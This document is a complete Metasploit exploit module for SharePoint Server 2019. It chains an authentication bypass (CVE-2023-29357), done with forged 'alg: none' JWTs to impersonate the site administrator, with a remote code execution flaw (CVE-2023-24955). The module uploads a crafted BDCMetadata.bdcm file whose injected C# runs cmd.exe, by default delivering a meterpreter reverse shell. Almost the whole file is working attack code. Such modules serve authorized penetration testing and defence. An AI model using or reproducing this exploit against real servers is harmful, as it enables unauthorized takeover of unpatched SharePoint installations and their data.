##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'securerandom'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Sharepoint
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  class SharepointError < StandardError; end
  class SharepointInvalidResponseError < SharepointError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE',
        'Description' => %q{
          This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched
          in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023.

          The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the
          signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing
          algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic
          flaw in the ReadTokenCore() method.

          After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to
          exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to
          replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The
          payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.
        },
        'Author' => [
          'Jang', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'],
          [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'],
          [ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'],
          [ 'CVE', '2023-29357'],
          [ 'CVE', '2023-24955']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => ['win'],
              'Arch' => [ARCH_CMD],
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',
                'WritableDir' => '%TEMP%',
                'CmdStagerFlavor' => [ 'curl' ]
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-05-01',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ])
    ])
  end

  def resolve_target_hostname
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '_api', 'web'),
      'method' => 'GET',
      'headers' => {
        # The NTLM SSP challenge: 'NTLMSSP<binary data>HOSTNAME'
        'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO'
      }
    })

    if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i)
      hash = res['WWW-Authenticate'].split('NTLM ')[1]
      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
      hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

      hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase
    else
      raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header'
    end
  end

  def get_oauth_info(hostname)
    vprint_status('getting oauth info')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '_api', 'web'),
      'method' => 'GET',
      'headers' => {
        # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa
        'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh',
        'HOST' => hostname
      }
    })

    if res && res.headers['WWW-Authenticate']
      raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/

      realm = Regexp.last_match(1)
      client_id = Regexp.last_match(2)
      print_status("realm: #{realm}, client_id: #{client_id}")
      return realm, client_id
    else
      raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info'
    end
  end

  def gen_endpoint_hash(url)
    Base64.strict_encode64(Digest::SHA256.digest(url.downcase))
  end

  def gen_app_proof_token
    jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}"
    b64_token = Rex::Text.encode_base64(jwt_token)
    "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh"
  end

  def send_get_request(url)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, url),
      'method' => 'GET',
      'headers' => @auth_headers
    })
  end

  def send_json_request(url, data)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, url),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => @auth_headers,
      'data' => data.to_json
    })
  end

  def get_current_user
    res = send_get_request('/_api/web/currentuser')
    if res&.code != 200
      raise SharepointInvalidResponseError, 'Failed to get current user'
    end

    res.body
  end

  def do_auth_bypass
    hostname = resolve_target_hostname
    hostname = hostname.split('.')[0] if hostname.include?('.')

    print_status("Discovered hostname is: #{hostname}")

    @realm, @client_id = get_oauth_info(hostname)
    print_status("Got Oauth Info: #{@realm}|#{@client_id}")
    @lob_id = Rex::Text.rand_text_alpha(rand(4..8))
    print_status("Lob id is: #{@lob_id}")

    token = gen_app_proof_token

    @auth_headers = {
      'X-PROOF_TOKEN' => token,
      'Authorization' => "Bearer #{token}",
      'HOST' => hostname
    }

    user_info = get_current_user
    raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil?

    user_info =~ %r{<d:LoginName>.+?\|(.+)\|.+?</d:LoginName>}
    raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1)

    username = Regexp.last_match(1)
    if user_info.include?('true</d:IsSiteAdmin>')
      # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint
      print_status("Successfully impersonated Site Admin: #{username}")
    else
      raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.'
    end
    @auth_bypassed = true
  end

  def check
    version = sharepoint_get_version
    return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil?

    print_status("Sharepoint version detected: #{version}")

    begin
      CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass
    rescue SharepointInvalidResponseError => e
      return CheckCode::Safe(e)
    end
  end

  def create_c_sharp_payload(cmd)
    class_name = Rex::Text.rand_text_alpha(rand(4..8))
    c_sharp_payload = <<~EOF
      #{Rex::Text.rand_text_alpha(rand(4..8))}{
      class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{
      static #{class_name}(){
      System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}");
      }
      }
      }
      namespace #{Rex::Text.rand_text_alpha(rand(4..8))}
    EOF

    c_sharp_payload
  end

  def drop_and_execute_payload
    bdcm_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?>
<Model
  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
  xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\"
  xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\">
  <LobSystems>
    <LobSystem Name=\"#{@lob_id}\" Type=\"WebService\">
      <Properties>
        <Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property>
        <Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\">
          <![CDATA[#{create_c_sharp_payload(payload.encoded)}]]>
        </Property>
        <Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property>
      </Properties>
      <LobSystemInstances>
        <LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance>
      </LobSystemInstances>
      <Entities>
        <Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\">
          <Properties>
            <Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property>
          </Properties>
          <Identifiers>
            <Identifier Name=\"ID\" TypeName=\"System.Int32\" />
          </Identifiers>
          <Methods>
            <Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\">
              <Parameters>
                <Parameter Name=\"@ID\" Direction=\"In\">
                  <TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" />
                </Parameter>
                <Parameter Name=\"@CreateProduct\" Direction=\"Return\">
                  <TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor>
                </Parameter>
              </Parameters>
              <MethodInstances>
                <MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\">
                  <AccessControlList>
                    <AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\">
                      <Right BdcRight=\"Execute\" />
                    </AccessControlEntry>
                  </AccessControlList>
                </MethodInstance>
              </MethodInstances>
            </Method>
          </Methods>
        </Entity>
      </Entities>
    </LobSystem>
  </LobSystems>
</Model>"

    url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, url_drop_payload),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => @auth_headers,
      'data' => bdcm_data
    })

    fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200
    print_good('Payload has been successfully delivered')
    entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"
    lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}"

    exec_cmd_data = "<Request AddExpandoFieldTypeSuffix=\"true\" SchemaVersion=\"15.0.0.0\" LibraryVersion=\"16.0.0.0\" ApplicationName=\".NET Library\" xmlns=\"http://schemas.microsoft.com/sharepoint/clientquery/2009\"><Actions><ObjectPath Id=\"21\" ObjectPathId=\"20\" /><ObjectPath Id=\"23\" ObjectPathId=\"22\" /></Actions><ObjectPaths><Method Id=\"20\" ParentId=\"7\" Name=\"Execute\"><Parameters><Parameter Type=\"String\">CreateProduct</Parameter><Parameter ObjectPathId=\"17\" /><Parameter Type=\"Array\"><Object Type=\"String\">1</Object></Parameter></Parameters></Method><Property Id=\"22\" ParentId=\"20\" Name=\"ReturnParameterCollection\" /><Identity Id=\"7\" Name=\"#{entity_id}\" /><Identity Id=\"17\" Name=\"#{lob_system_instance}\" /></ObjectPaths></Request>"

    res2 = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => @auth_headers,
      'data' => exec_cmd_data
    })

    fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200
  end

  def ensure_target_dir_present
    res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders')
    @backup_bdc_metadata = ''
    if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog')
      print_status('BDCMetadata file already present on the remote host, backing it up.')
      res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")
      if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty?
        @backup_bdc_metadata = res_bdc_metadata.body
        store_bdcmetadata_loot(res_bdc_metadata.body)
      else
        print_warning('Failed to backup the existing BDCMetadata.bdcm file')
      end
    else
      body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' }
      res_json = send_json_request('/_api/web/folders', body)
      if res_json&.code == 201
        print_status('Created BDCM Folder')
      else
        fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder')
      end
    end
  end

  def on_new_session(_session)
    url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, url_drop_payload),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => @auth_headers,
      'data' => @backup_bdc_metadata
    })
    if res&.code == 200
      print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.')
    else
      print_error('BDCMetadata.bdcm restoration has failed.')
    end
  end

  def store_bdcmetadata_loot(data)
    file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it')
    print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}")
  end

  def exploit
    # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass.
    unless @auth_bypassed
      begin
        do_auth_bypass
      rescue SharepointError => e
        fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}")
      end
    end
    # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up.
    ensure_target_dir_present
    drop_and_execute_payload
  end
end
